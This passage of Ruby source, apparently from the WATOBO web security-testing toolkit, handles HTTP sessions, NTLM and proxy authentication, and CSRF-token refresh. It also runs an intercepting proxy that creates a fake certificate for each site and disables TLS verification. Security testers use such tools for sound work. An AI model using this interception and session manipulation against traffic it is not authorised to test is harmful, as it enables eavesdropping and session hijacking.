@@login_mutex.synchronize do begin @@login_in_progress = true login_prefs = Hash.new login_prefs.update prefs dummy = {:ignore_logout => true, :update_sids => true, :update_session => true, :update_contentlength => true} login_prefs.update dummy puts "! Start Login ..." if $DEBUG unless chat_list.empty? # puts login_prefs.to_yaml chat_list.each do |chat| print "! LoginRequest: #{chat.id}" if $DEBUG test_req = chat.copyRequest request, response = doRequest(test_req, login_prefs) end else puts "! no login script configured !" end rescue => bang puts "!ERROR in runLogin" puts bang.backtrace if $DEBUG ensure @@login_in_progress = false @@login_cv.signal # exit # print "L]" end end end def connected? !@connection.nil? end # # sendHTTPRequest def send(request, prefs={}) begin @lasterror = nil response_header = nil # update current preferences, prefs given here are stronger then global settings! current_prefs = Hash.new [:update_session, :update_sids, :update_contentlength, :ssl_cipher, :www_auth, :client_certificates].each do |k| current_prefs[k] = prefs[k].nil? ? @session[k] : prefs[k] end updateSession(request) if current_prefs[:update_session] == true #--------------------------------------- request.removeHeader("^Proxy-Connection") #if not use_proxy # # #request.removeHeader("^Connection") #if not use_proxy request.removeHeader("^Accept-Encoding") # # # If-Modified-Since: Tue, 28 Oct 2008 11:06:43 GMT # If-None-Match: W/"3975-1225192003000" request.removeHeader("^If-") # puts # request.each do |line| # puts line.unpack("H*") #end #puts if current_prefs[:update_contentlength] == true then request.fix_content_length() end #request.add_header("Via", "Watobo") if use_proxy #puts request # puts "==============" rescue SocketError puts "!!! unknown hostname #{host}" puts request.first return nil, "WATOBO: Could not resolve hostname #{host}", nil rescue => bang puts bang puts bang.backtrace if $DEBUG end begin unless proxy.nil? # connection requires proxy # puts "* use proxy #{proxy.name}" # check for regular proxy authentication if request.is_ssl? socket, response_header = sslProxyConnect(request, proxy, current_prefs) return socket, response_header, error_response("Could Not Connect To Proxy: #{proxy.name} (#{proxy.host}:#{proxy.port})\n", "#{response_header}") if socket.nil? if current_prefs[:www_auth].has_key?(site) case current_prefs[:www_auth][site][:type] when AUTH_TYPE_NTLM # puts "* found NTLM credentials for site #{site}" socket, response_header = wwwAuthNTLM(socket, request, current_prefs[:www_auth][site]) else puts "* Unknown Authentication Type: #{current_prefs[:www_auth][site][:type]}" end else data = request.join + "\r\n" unless socket.nil? socket.print data response_header = readHTTPHeader(socket, current_prefs) end end return socket, request, response_header end # puts "* doProxyRequest" socket, response_header = doProxyRequest(request, proxy, current_prefs) # puts socket.class return socket, response_header, error_response("Could Not Connect To Proxy: #{proxy.name} (#{proxy.host}:#{proxy.port})\n", "#{response_header}") if socket.nil? return socket, request, response_header else # direct connection to host tcp_socket = nil # timeout(6) do #puts "* no proxy - direct connection" tcp_socket = TCPSocket.new( host, port ) tcp_socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) tcp_socket.sync = true socket = tcp_socket if request.is_ssl? ssl_prefs = {} ssl_prefs[:ssl_cipher] = current_prefs[:ssl_cipher] if current_prefs.has_key? :ssl_cipher if current_prefs.has_key? :client_certificates if current_prefs[:client_certificates].has_key? request.site puts "* use ssl client certificate for site #{request.site}" if $DEBUG ssl_prefs[:ssl_client_cert] = current_prefs[:client_certificates][request.site][:ssl_client_cert] ssl_prefs[:ssl_client_key] = current_prefs[:client_certificates][request.site][:ssl_client_key] end end socket = sslConnect(tcp_socket, ssl_prefs) end # # remove URI before sending request but cache it for restoring request uri_cache = nil uri_cache = request.removeURI #if proxy.nil? # request.addHeader("Proxy-Connection", "Close") unless proxy.nil? # request.addHeader("Accept-Encoding", "gzip;q=0;identity; q=0.5, *;q=0") #don't want encoding if current_prefs[:www_auth].has_key?(site) case current_prefs[:www_auth][site][:type] when AUTH_TYPE_NTLM # puts "* found NTLM credentials for site #{site}" socket, response_header = wwwAuthNTLM(socket, request, current_prefs[:www_auth][site]) request.restoreURI(uri_cache) else puts "* Unknown Authentication Type: #{current_prefs[:www_auth][site][:type]}" end else # puts "========== Add Headers" # request.addHeader("Connection", "Close") #if not use_proxy data = request.join unless request.has_body? data << "\r\n" unless data =~ /\r\n\r\n$/ end # puts "= SESSION =" # puts data # puts data.unpack("H*")[0].gsub(/0d0a/,"0d0a\n") unless socket.nil? socket.print data # if socket.is_a? OpenSSL::SSL::SSLSocket # socket.io.shutdown(Socket::SHUT_WR) # else # socket.shutdown(Socket::SHUT_WR) # end response_header = readHTTPHeader(socket, current_prefs) end # RESTORE URI FOR HISTORY/LOG request.restoreURI(uri_cache) end return socket, Watobo::Request.new(request), Watobo::Response.new(response_header) end rescue Errno::ECONNREFUSED response = error_response "connection refused (#{host}:#{port})" socket = nil rescue Errno::ECONNRESET response = error_response "connection reset (#{host}:#{port})" socket = nil rescue Errno::ECONNABORTED response = error_response "connection aborted (#{host}:#{port})" socket = nil rescue Errno::EHOSTUNREACH response = error_response "host unreachable (#{host}:#{port})" socket = nil rescue Timeout::Error #request = "WATOBO: TimeOut (#{host}:#{port})\n" response = error_response "TimeOut (#{host}:#{port})" socket = nil rescue Errno::ETIMEDOUT response = error_response "TimeOut (#{host}:#{port})" socket = nil rescue Errno::ENOTCONN puts "!!!ENOTCONN" rescue OpenSSL::SSL::SSLError response = error_response "SSL-Error", $!.backtrace.join socket = nil rescue => bang response = error_response "ERROR:", "#{bang}\n#{bang.backtrace}" socket = nil puts bang puts bang.backtrace if $DEBUG end #puts response return socket, request, response end def sidCache() @session[:valid_sids] end def setSIDCache(new_cache = {} ) @session[:valid_sids] = new_cache if new_cache.is_a? Hash end # doRequest(request) # + function: # def doRequest(request, opts={} ) begin @session.update opts unless @session[:csrf_requests].empty? or @session[:csrf_patterns].empty? csrf_cache = Hash.new @session[:csrf_requests].each do |req| copy = Watobo::Request.new YAML.load(YAML.dump(req)) updateCSRFToken(csrf_cache, copy) socket, csrf_request, csrf_response = sendHTTPRequest(copy, opts) next if socket.nil? # puts "= Response Headers:" # puts csrf_response # puts "===" update_sids(csrf_request.host, csrf_response.headers) next if socket.nil? # p "*" # csrf_response = readHTTPHeader(socket) readHTTPBody(socket, csrf_response, csrf_request, opts) next if csrf_response.body.nil? update_sids(csrf_request.host, [csrf_response.body]) updateCSRFCache(csrf_cache, csrf_request, [csrf_response.body]) if csrf_response.content_type =~ /text\// # socket.close closeSocket(socket) end #p @session[:csrf_requests].length updateCSRFToken(csrf_cache, request) end socket, request, response = sendHTTPRequest(request, opts) if socket.nil? return request, response end update_sids(request.host, response.headers) if @session[:update_sids] == true if @session[:follow_redirect] and response.status =~ /^302/ response.extend Watobo::Mixin::Parser::Web10 request.extend Watobo::Mixin::Shaper::Web10 loc_header = response.headers("Location:").first new_location = loc_header.gsub(/^[^:]*:/,'').strip unless new_location =~ /^http/ new_location = request.proto + "://" + request.site + "/" + request.dir + "/" + new_location.sub(/^[\.\/]*/,'') end notify(:follow_redirect, new_location) nr = Watobo::Request.new YAML.load(YAML.dump(request)) # create GET request for new location nr.replaceMethod("GET") nr.removeHeader("Content-Length") nr.removeBody() nr.replaceURL(new_location) socket, request, response = sendHTTPRequest(nr, opts) if socket.nil? #return nil, request return request, response end end readHTTPBody(socket, response, request, opts) unless response.body.nil? update_sids(request.host, [response.body]) if @session[:update_sids] == true and response.content_type =~ /text\// end #socket.close closeSocket(socket) rescue => bang # puts "! Error in doRequest" puts "! Module #{Module.nesting[0].name}" puts bang # puts bang.backtrace if $DEBUG @lasterror = bang # raise # ensure end response.extend Watobo::Mixin::Parser::Web10 return request, response end def addProxy(prefs=nil) proxy = nil unless prefs.nil? proxy = Proxy.new(prefs) # proxy.setCredentials(prefs[:credentials]) unless prefs[:credentials].nil? unless prefs[:site].nil? @@proxy[prefs[:site]] = proxy return end end @@proxy[:default] = proxy end def get_settings @@settings end def getProxy(site=nil) unless site.nil? return @@proxy[site] unless @@proxy[site].nil? end return @@proxy[:default] end # # INITIALIZE # # Possible preferences: # :proxy => '127.0.0.1:port' # :valid_sids => Hash.new, # :sid_patterns => [], # :logout_signatures => [], # :update_valid_sids => false, # :update_sids => false, # :update_contentlength => true def initialize( session_id, prefs={} ) @connection = nil session = nil session = ( session_id.is_a? Integer ) ? session_id : session_id.object_id session = Digest::MD5.hexdigest(Time.now.to_f.to_s) if session_id.nil? unless @@settings.has_key? session @@settings[session] = { :valid_sids => Hash.new, :sid_patterns => [], # :valid_csrf_tokens => Hash.new, :csrf_patterns => [], :csrf_requests => [], :logout_signatures => [], :logout_content_types => Hash.new, :update_valid_sids => false, :update_sids => false, :update_session => true, :update_contentlength => true, :login_chats => [], :www_auth => Hash.new, :client_certificates => {}, :proxy_auth => Hash.new } end @session = @@settings[session] # shortcut to settings @session.update prefs # @valid_csrf_tokens = Hash.new addProxy( prefs[:proxy] ) if prefs.is_a? Hash and prefs[:proxy] @ctx = OpenSSL::SSL::SSLContext.new() @ctx.key = nil @ctx.cert = nil # TODO: Implement switches for URL-Encoding (http://www.blooberry.com/indexdot/html/topics/urlencoding.htm) # TODO: Implement switches for Following Redirects # TODO: Implement switches for Logging, Debugging, ... end private #def doNtlmAuth(socket, request, ntlm_credentials) def wwwAuthNTLM(socket, request, ntlm_credentials) response_header = nil begin auth_request = request.copy ntlm_challenge = nil t1 = Watobo::NTLM::Message::Type1.new() msg = "NTLM " + t1.encode64 auth_request.removeHeader("Connection") auth_request.removeHeader("Authorization") auth_request.addHeader("Authorization", msg) auth_request.addHeader("Connection", "Keep-Alive") if $DEBUG puts "============= T1 =======================" puts auth_request end data = auth_request.join + "\r\n" socket.print data puts "-----------------" if $DEBUG response_header = [] rcode = nil clen = nil ntlm_challenge = nil response_header = readHTTPHeader(socket) response_header.each do |line| if line =~ /^HTTP\/\d\.\d (\d+) (.*)/ then rcode = $1.to_i rmsg = $2 end if line =~ /^WWW-Authenticate: (NTLM) (.+)\r\n/ ntlm_challenge = $2 end if line =~ /^Content-Length: (\d{1,})\r\n/ clen = $1.to_i end break if line.strip.empty? end # puts "===================" if $DEBUG puts "--- T1 RESPONSE HEADERS ---" puts response_header puts "---" end if rcode == 401 #Authentication Required puts "[NTLM] got ntlm challenge: #{ntlm_challenge}" if $DEBUG return socket, response_header if ntlm_challenge.nil? elsif rcode == 200 # Ok puts "[NTLM] seems request doesn't need authentication" if $DEBUG return socket, Watobo::Response.new(response_header) else if $DEBUG puts "[NTLM] ... !#*+.!*peep* ...." puts response_header end return socket, Watobo::Response.new(response_header) end # reading rest of response rest = '' Watobo::HTTPSocket.read_body(socket, :max_bytes => clen){ |d| rest += d } if $DEBUG puts "--- T1 RESPONSE BODY ---" puts rest puts "---" end t2 = Watobo::NTLM::Message.decode64(ntlm_challenge) t3 = t2.response({:user => ntlm_credentials[:username], :password => ntlm_credentials[:password], :domain => ntlm_credentials[:domain]}, {:workstation => ntlm_credentials[:workstation], :ntlmv2 => true}) # puts "* NTLM-Credentials: #{ntlm_credentials[:username]},#{ntlm_credentials[:password]}, #{ntlm_credentials[:domain]}, #{ntlm_credentials[:workstation]}" auth_request.removeHeader("Authorization") auth_request.removeHeader("Connection") auth_request.addHeader("Connection", "Close") msg = "NTLM " + t3.encode64 auth_request.addHeader("Authorization", msg) # puts "============= T3 =======================" data = auth_request.join + "\r\n" if $DEBUG puts "= NTLM Type 3 =" puts data end socket.print data response_header = [] response_header = readHTTPHeader(socket) response_header.each do |line| if line =~ /^HTTP\/\d\.\d (\d+) (.*)/ then rcode = $1.to_i rmsg = $2 end break if line.strip.empty? end if rcode == 200 # Ok puts "[NTLM] Authentication Successfull" if $DEBUG elsif rcode == 401 # Authentication Required # TODO: authorization didn't work -> do some notification # ... puts "[NTLM] could not authenticate. Bad credentials?" puts ntlm_credentials.to_yaml end return socket, Watobo::Response.new(response_header) rescue => bang puts "!!! ERROR: in ntlm_auth" puts bang puts bang.backtrace if $DEBUG return nil, nil end end ################################################## # doProxyRequest ################################################ def doProxyRequest(request, proxy, prefs={}) #puts "DO PROXY REQUEST" # puts prefs.to_yaml begin tcp_socket = nil site = request.site auth_request = Watobo::Utils::copyObject(request) auth_request.extend Watobo::Mixin::Parser::Url auth_request.extend Watobo::Mixin::Parser::Web10 auth_request.extend Watobo::Mixin::Shaper::Web10 # timeout(6) do tcp_socket = TCPSocket.new( proxy.host, proxy.port) tcp_socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) tcp_socket.sync = true # end auth_request.removeHeader("Proxy-Connection") auth_request.removeHeader("Connection") auth_request.addHeader("Pragma", "no-cache") if proxy.has_login? response_header = doProxyAuth(tcp_socket, auth_request, proxy) # puts "* got request_header from doProxy Auth" # puts request_header.class puts "[Proxy Auth] Status: #{response_header.status}" if $DEBUG return tcp_socket, response_header unless response_header.status =~ /401/ return tcp_socket, response_header unless prefs[:www_auth].has_key?(site) end # puts "CHECK WWW_AUTH" # puts prefs.to_yaml if prefs[:www_auth].has_key?(site) case prefs[:www_auth][site][:type] when AUTH_TYPE_NTLM # puts "* found NTLM credentials for site #{site}" socket, response_header = wwwAuthNTLM(tcp_socket, request, prefs[:www_auth][site]) #response_header.extend Watobo::Mixin::Parser::Url #response_header.extend Watobo::Mixin::Parser::Web10 return socket, response_header else puts "* Unknown Authentication Type: #{prefs[:www_auth][site][:type]}" end else data = auth_request.join + "\r\n" tcp_socket.print data response_header = readHTTPHeader(tcp_socket) return tcp_socket, response_header end rescue => bang puts bang puts bang.backtrace if $DEBUG end return nil end def loggedOut?(response, prefs={}) begin return false if @session[:logout_signatures].empty? response.each do |line| @session[:logout_signatures].each do |p| # puts "!!!*LOGOUT*!!!" if line =~ /#{p}/ return true if line =~ /#{p}/ end end rescue => bang puts bang puts bang.backtrace if $DEBUG end return false end def error_response(msg, comment=nil) er = [] er << "HTTP/1.1 555 Watobo Error\r\n" er << "WATOBO: #{msg.gsub(/\r?\n/," ").strip}\r\n" er << "Content-Length: 0\r\n" er << "Connection: close\r\n" er << "\r\n" unless comment.nil? body = "

#{msg}


#{comment.gsub(/\r?\n/,"
")}

" er << body end er.extend Watobo::Mixin::Parser::Url er.extend Watobo::Mixin::Parser::Web10 er.extend Watobo::Mixin::Shaper::Web10 er.fix_content_length er end def updateCSRFCache(csrf_cache, request, response) puts "=UPDATE CSRF CACHE" if $DEBUG # Thread.new{ begin # site = request.site @@csrf_lock.synchronize do response.each do |line| # puts line @session[:csrf_patterns].each do |pat| puts pat if $DEBUG if line =~ /#{pat}/i then token_key = Regexp.quote($1.upcase) token_value = $2 #print "U" puts "GOT NEW TOKEN (#{token_key}): #{token_value}" if $DEBUG # @session[:valid_csrf_tokens][site] = Hash.new if @session[:valid_csrf_tokens][site].nil? # @session[:valid_csrf_tokens][site][token_key] = token_value csrf_cache[token_key] = token_value end end end end rescue => bang puts bang if $DEBUG puts bang.backtrace puts "= Request" puts request puts "= Response" puts response puts "===" end end # } end def closeSocket(socket) return false if socket.nil? begin if socket.respond_to? :sysclose #socket.io.shutdown(2) # puts "sysclose" socket.sysclose elsif socket.respond_to? :shutdown socket.shutdown(2) elsif socket.respond_to? :close socket.close end return true rescue => bang puts bang puts bang.backtrace if $DEBUG end false end def updateSessionSettings(settings={}) [ :ssl_client_cert, :ssl_client_key, :ssl_client_pass, :csrf_requests, :valid_sids, :sid_patterns, :logout_signatures, :logout_content_types, :update_valid_sids, :update_sids, :update_session, :update_contentlength, :login_chats, :follow_redirect ].each do |k| @session[k] = settings[k] if settings.has_key? k end end def updateCSRFToken(csrf_cache, request) # puts "=UPDATE CSRF TOKEN" # @session[:valid_csrf_tokens].to_yaml # puts request if request.site.nil? # puts "= = = = = = " @@csrf_lock.synchronize do # if @session[:valid_csrf_tokens].has_key?(request.site) # puts "* found token for site: #{request.site}" request.map!{ |line| res = line @session[:csrf_patterns].each do |pat| begin if line =~ /#{pat}/i then key = Regexp.quote($1.upcase) old_value = $2 if csrf_cache.has_key?(key) then res = line.gsub!(/#{Regexp.quote(old_value)}/, csrf_cache[key]) if res.nil? then res = line puts "!!!could not update token (#{key})" end end end rescue => bang puts bang puts bang.backtrace if $DEBUG # puts @session.to_yaml end end res } end # end end # this function updates specific patterns of a request, e.g. CSRF Tokens # Parameters: # request - the request which has to be updated # cache - the value store of already collected key-value-pairs # patterns - pattern expressions, similar to session-id-patterns, e.g. /name="(sessid)" value="([0-9a-zA-Z!-]*)"/ def updateRequestPattern(request, cache, patterns) request.map!{ |line| res = line patterns.each do |pat| begin if line =~ /#{pat}/i then pattern_key = Regexp.quote($1.upcase) old_value = Regexp.quote($2) if cache.has_key?(sid_key) then if not old_value =~ /#{cache[sid_key]}/ then # sid value has changed and needs update # print "S" # puts "+ update sid #{sid_key}" # puts "-OLD: #{old_value}" # puts "-NEW: #{@session[:valid_sids][request.site][sid_key]}" # puts "---" # dummy = Regexp.quote(old_value) res = line.gsub!(/#{old_value}/, cache[sid_key]) if not res then puts "!!!could not update sid (#{sid_key})"; end # puts "->#{line}" end end end rescue => bang puts bang puts bang.backtrace if $DEBUG # puts @session.to_yaml end end res } end def applySessionSettings(prefs) [ :update_valid_sids, :update_session, :update_contentlength, :valid_sids, :sid_patterns, :logout_signatures ].each do |v| @@settings[v] = prefs[v] if prefs[v] end end end end endwatobo-1.0.1/lib/watobo/sockets/client_socket.rb000077500000000000000000000441311366346341400217130ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module HTTPSocket class ClientSocket attr_accessor :port attr_accessor :address attr_accessor :host attr_accessor :site attr_accessor :ssl def write(data) @socket.write data @socket.flush end def flush @socket.flush end def close begin #if socket.class.to_s =~ /SSLSocket/ if @socket.respond_to? :shutdown @socket.shutdown(Socket::SHUT_RDWR) end # finally close it if @socket.respond_to? :close @socket.close elsif @socket.respond_to? :sysclose socket.io.shutdown(Socket::SHUT_RDWR) @socket.sysclose end return true rescue => bang puts bang puts bang.backtrace if $DEBUG end false end def read_header request = [] Watobo::HTTPSocket.read_client_header(@socket) do |line| request << line end return nil if request.empty? unless request.first =~ /(^[^[:space:]]{1,}) http/ request.first.gsub!(/(^[^[:space:]]{1,})( )(\/.*)/, "\\1 https://#{@site}\\3") end Watobo::Request.new(request) end def ssl? @ssl == true end def request @persistent = false begin unless @initial_request.nil? request = @initial_request.copy #puts "\n>> Request RAW:" #puts request #puts "\n>> Request RAW (HEX):" #puts request.join.unpack("H*")[0] @initial_request = nil clean_request request return request end request = read_header return nil if request.nil? @persistent = !request.connection_close? clen = request.content_length if clen > 0 then body = "" Watobo::HTTPSocket.read_body(@socket) do |data| body << data break if body.length == clen end #puts "* CLEN = #{clen} - read body (#{body.length})" request << body end rescue => bang puts bang end #puts "\n>> Request RAW:" #puts request #puts "\n>> Request RAW (HEX):" # puts request.unpack("H*")[0] clean_request request request end def send_response(response) end def initialize(socket, req = nil) @socket = socket @port = nil @address = nil @host = nil @site = nil @ssl = false @initial_request = req @persistent = false # TODO: Fake Certs Should be global accessable end def self.connect(socket) request = [] @fake_certs ||= {} @dh_key ||= Watobo::CA.dh_key ra = socket.remote_address cport = ra.ip_port caddr = ra.ip_address if $DEBUG puts cport puts caddr end optval = [1, 500_000].pack("I_2") # socket.setsockopt Socket::SOL_SOCKET, Socket::SO_RCVTIMEO, optval # socket.setsockopt Socket::SOL_SOCKET, Socket::SO_SNDTIMEO, optval socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) # socket.setsockopt Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1 socket.sync = true session = socket if Watobo::Interceptor::Proxy.transparent? ci = Watobo::Interceptor::Transparent.info({'host' => caddr, 'port' => cport}) unless ci.nil? or ci['target'].empty? or ci['cn'].empty? #puts "SSL-REQUEST FROM #{caddr}:#{cport}" ctx = Watobo::CertStore.acquire_ssl_ctx ci['target'], ci['cn'] begin ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ctx) #ssl_socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) # ssl_socket.sync_close = true ssl_socket.sync = true # puts ssl_socket.methods.sort session = ssl_socket.accept rescue OpenSSL::SSL::SSLError => e puts ">> SSLError" puts e #puts session.methods.sort return nil, session rescue => bang puts bang puts bang.backtrace return nil, session end end end begin Watobo::HTTPSocket.read_header(session) do |line| request << line end rescue => bang puts bang puts bang.backtrace if $DEBUG return nil end return nil if request.empty? if Watobo::Interceptor::Proxy.transparent? #puts "> get hostname ..." thn = nil request.each do |l| if l =~ /^Host: (.*)/ thn = $1.strip # puts ">> #{thn}" end end # puts session.class # puts "* fix request line ..." # puts request.first # puts ">>" if session.is_a? OpenSSL::SSL::SSLSocket request.first.gsub!(/(^[^[:space:]]{1,}) (.*) (HTTP.*)/i, "\\1 https://#{thn}\\2 \\3") unless request.first =~ /^[^[:space:]]{1,} http/ else request.first.gsub!(/(^[^[:space:]]{1,}) (.*) (HTTP.*)/i, "\\1 http://#{thn}\\2 \\3") unless request.first =~ /^[^[:space:]]{1,} http/ end #puts request.first end if request.first =~ /^CONNECT (.*):(\d{1,5}) HTTP\/1\./ then target = $1 tport = $2 # puts request.first # print "\n* CONNECT: #{target} on port #{tport}\n" site = "#{target}:#{tport}" #puts "CONNECT #{site}" begin socket.print "HTTP/1.0 200 Connection established\r\n" + #"Proxy-connection: Keep-alive\r\n" + "Proxy-agent: WATOBO-Proxy/1.1\r\n" + "\r\n" bscount = 0 # bad handshake counter # puts "* wait for ssl handshake ..." unless @fake_certs.has_key? site puts "CREATE NEW CERTIFICATE FOR >> #{site} <<" cn = Watobo::HTTPSocket.get_ssl_cert_cn(target, tport) puts "CN=#{cn}" cert = { :hostname => cn, :type => 'server', :user => 'watobo', :email => 'root@localhost', } cert_file, key_file = Watobo::CA.create_cert cert @fake_certs[site] = { :cert => OpenSSL::X509::Certificate.new(File.read(cert_file)), :key => OpenSSL::PKey::RSA.new(File.read(key_file)) } end ctx = OpenSSL::SSL::SSLContext.new() #ctx.cert = @cert ctx.cert = @fake_certs[site][:cert] # @ctx.key = OpenSSL::PKey::DSA.new(File.read(key_file)) #ctx.key = @key ctx.key = @fake_certs[site][:key] ctx.tmp_dh_callback = proc {|*args| @dh_key } # if ctx.respond_to? :tmp_ecdh_callback # ctx.tmp_ecdh_callback = ->(*args) { # called = true # OpenSSL::PKey::EC.new 'prime256v1' # } # end ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE ctx.timeout = 10 ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ctx) ssl_socket.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) # ssl_socket.sync_close = true ssl_socket.sync = true # puts ssl_socket.methods.sort ssl_session = ssl_socket.accept session = ssl_session request = [] Watobo::HTTPSocket.read_header(session) do |line| request << line end return nil if request.empty? return nil if request.first.nil? unless request.first =~ /(^[^[:space:]]{1,}) http/ request.first.gsub!(/(^[^[:space:]]{1,})( )(\/.*)/, "\\1 https://#{site}\\3") end request = Watobo::Request.new(request) rescue => bang puts '! could not answer request for site ' + site puts bang if $VERBOSE if $DEBUG puts bang.backtrace end return nil end else # puts "* create request object" request = Watobo::Request.new(request) site = request.site #puts request end #puts "CLIENT REQUEST:" #puts request begin unless request.nil? clen = request.content_length if clen > 0 then body = "" Watobo::HTTPSocket.read_body(session) do |data| body << data break if body.length == clen end request << body unless body.empty? end connection = ClientSocket.new(session, request) else connection = ClientSocket.new(session) end connection.ssl = true if session.class.to_s =~ /ssl/i # ra = session.remote_address # connection.port = ra.ip_port # connection.address = ra.ip_address # connection.site = site connection.port = cport connection.address = caddr connection.site = site rescue => bang puts bang puts bang.backtrace end connection end private # clean request removes unneccessary headers # e.g., hop_by_hop headers def clean_request(request) # puts request request.remove_header "^Connection" request.remove_header "^Proxy\-Connection" request.remove_header "^If\-" request.remove_header "^Expect.*continue" request.unzip! # request.remove_header("^Accept-Encoding") end end class ClientSocket_ORIG attr_accessor :port attr_accessor :address attr_accessor :host attr_accessor :site attr_accessor :ssl def write(data) @socket.write data @socket.flush end def flush @socket.flush end def close begin #if socket.class.to_s =~ /SSLSocket/ if @socket.respond_to? :shutdown @socket.shutdown(Socket::SHUT_RDWR) end # finally close it if @socket.respond_to? :close @socket.close elsif @socket.respond_to? :sysclose socket.io.shutdown(Socket::SHUT_RDWR) @socket.sysclose end return true rescue => bang puts bang puts bang.backtrace if $DEBUG end false end def read_header request = [] Watobo::HTTPSocket.read_client_header(@socket) do |line| request << line end return nil if request.empty? unless request.first =~ /(^[^[:space:]]{1,}) http/ request.first.gsub!(/(^[^[:space:]]{1,})( )(\/.*)/, "\\1 https://#{@site}\\3") end Watobo::Request.new(request) end def ssl? @ssl == true end def request begin unless @initial_request.nil? request = @initial_request.copy @initial_request = nil return request end request = read_header return nil if request.nil? clen = request.content_length if clen > 0 then body = "" Watobo::HTTPSocket.read_body(@socket) do |data| body += data break if body.length == clen end request << body end rescue => bang puts bang end puts request request end def initialize(socket, req = nil) @socket = socket @port = nil @address = nil @host = nil @site = nil @ssl = false @initial_request = req # TODO: Fake Certs Should be global accessable end def self.connect(socket) request = [] @fake_certs ||= {} @dh_key ||= Watobo::CA.dh_key ra = socket.remote_address cport = ra.ip_port caddr = ra.ip_address optval = [1, 500_000].pack("I_2") #socket.setsockopt Socket::SOL_SOCKET, Socket::SO_RCVTIMEO, optval #socket.setsockopt Socket::SOL_SOCKET, Socket::SO_SNDTIMEO, optval socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) #socket.setsockopt Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1 socket.sync = true session = socket if Watobo::Interceptor::Proxy.transparent? ci = Watobo::Interceptor::Transparent.info({'host' => caddr, 'port' => cport}) unless ci['target'].empty? or ci['cn'].empty? puts "SSL-REQUEST FROM #{caddr}:#{cport}" ctx = Watobo::CertStore.acquire_ssl_ctx ci['target'], ci['cn'] begin ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ctx) #ssl_socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) # ssl_socket.sync_close = true ssl_socket.sync = true # puts ssl_socket.methods.sort session = ssl_socket.accept rescue OpenSSL::SSL::SSLError => e puts ">> SSLError" puts e return nil, session rescue => bang puts bang puts bang.backtrace return nil, session end else puts ci['host'] puts ci['cn'] end end begin Watobo::HTTPSocket.read_header(session) do |line| request << line end rescue => bang puts bang puts bang.backtrace if $DEBUG return nil end if Watobo::Interceptor::Proxy.transparent? #puts "> get hostname ..." thn = nil request.each do |l| if l =~ /^Host: (.*)/ thn = $1.strip # puts ">> #{thn}" end end # puts session.class # puts "* fix request line ..." # puts request.first # puts ">>" if session.is_a? OpenSSL::SSL::SSLSocket request.first.gsub!(/(^[^[:space:]]{1,}) (.*) (HTTP.*)/i, "\\1 https://#{thn}\\2 \\3") unless request.first =~ /^[^[:space:]]{1,} http/ else request.first.gsub!(/(^[^[:space:]]{1,}) (.*) (HTTP.*)/i, "\\1 http://#{thn}\\2 \\3") unless request.first =~ /^[^[:space:]]{1,} http/ end #puts request.first end if request.first =~ /^CONNECT (.*):(\d{1,5}) HTTP\/1\./ then target = $1 tport = $2 # puts request.first #print "\n* CONNECT: #{method} #{target} on port #{tport}\n" site = "#{target}:#{tport}" #puts "CONNECT #{site}" socket.print "HTTP/1.0 200 Connection established\r\n" + #"Proxy-connection: Keep-alive\r\n" + "Proxy-agent: WATOBO-Proxy/1.1\r\n" + "\r\n" bscount = 0 # bad handshake counter # puts "* wait for ssl handshake ..." begin # site = "#{target}:#{tport}" unless @fake_certs.has_key? site puts "CREATE NEW CERTIFICATE FOR >> #{site} <<" cn = Watobo::HTTPSocket.get_ssl_cert_cn(target, tport) puts "CN=#{cn}" cert = { :hostname => cn, :type => 'server', :user => 'watobo', :email => 'root@localhost', } cert_file, key_file = Watobo::CA.create_cert cert @fake_certs[site] = { :cert => OpenSSL::X509::Certificate.new(File.read(cert_file)), :key => OpenSSL::PKey::RSA.new(File.read(key_file)) } end ctx = OpenSSL::SSL::SSLContext.new() #ctx.cert = @cert ctx.cert = @fake_certs[site][:cert] # @ctx.key = OpenSSL::PKey::DSA.new(File.read(key_file)) #ctx.key = @key ctx.key = @fake_certs[site][:key] ctx.tmp_dh_callback = proc {|*args| @dh_key } ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE ctx.timeout = 10 ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ctx) ssl_socket.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) # ssl_socket.sync_close = true ssl_socket.sync = true # puts ssl_socket.methods.sort ssl_session = ssl_socket.accept rescue => bang puts bang puts bang.backtrace if $DEBUG return nil end session = ssl_session request = nil else # puts "* create request object" request = Watobo::Request.new(request) site = request.site #puts request end begin unless request.nil? clen = request.content_length if clen > 0 then body = "" Watobo::HTTPSocket.read_body(session) do |data| body += data break if body.length == clen end request << body unless body.empty? end connection = ClientSocket.new(session, request) else connection = ClientSocket.new(session) end connection.ssl = true if session.class.to_s =~ /ssl/i # ra = session.remote_address # connection.port = ra.ip_port # connection.address = ra.ip_address # connection.site = site connection.port = cport connection.address = caddr connection.site = site rescue => bang puts bang puts bang.backtrace end connection end end end end watobo-1.0.1/lib/watobo/sockets/connection.rb000066400000000000000000000310351366346341400212200ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module HTTPSocket class Connection_UNUSED include Watobo::Constants extend Watobo::Subscriber def initialize(request, prefs) @request = request @response = nil @proxy = Watobo::ForwardingProxy.get(site) unless @proxy.nil? host = @proxy.host port = @proxy.port else host = @request.host port = @request.port end # check if hostname is valid and can be resolved #hostip = IPSocket.getaddress(host) end def read_body( prefs={} ) clen = @response.content_length data = "" begin if @response.is_chunked? Watobo::HTTPSocket.readChunkedBody(@socket) { |c| data += c } elsif clen > 0 # puts "* read #{clen} bytes for body" Watobo::HTTPSocket.read_body(@socket, :max_bytes => clen) { |c| data += c break if data.length == clen } elsif clen < 0 # puts 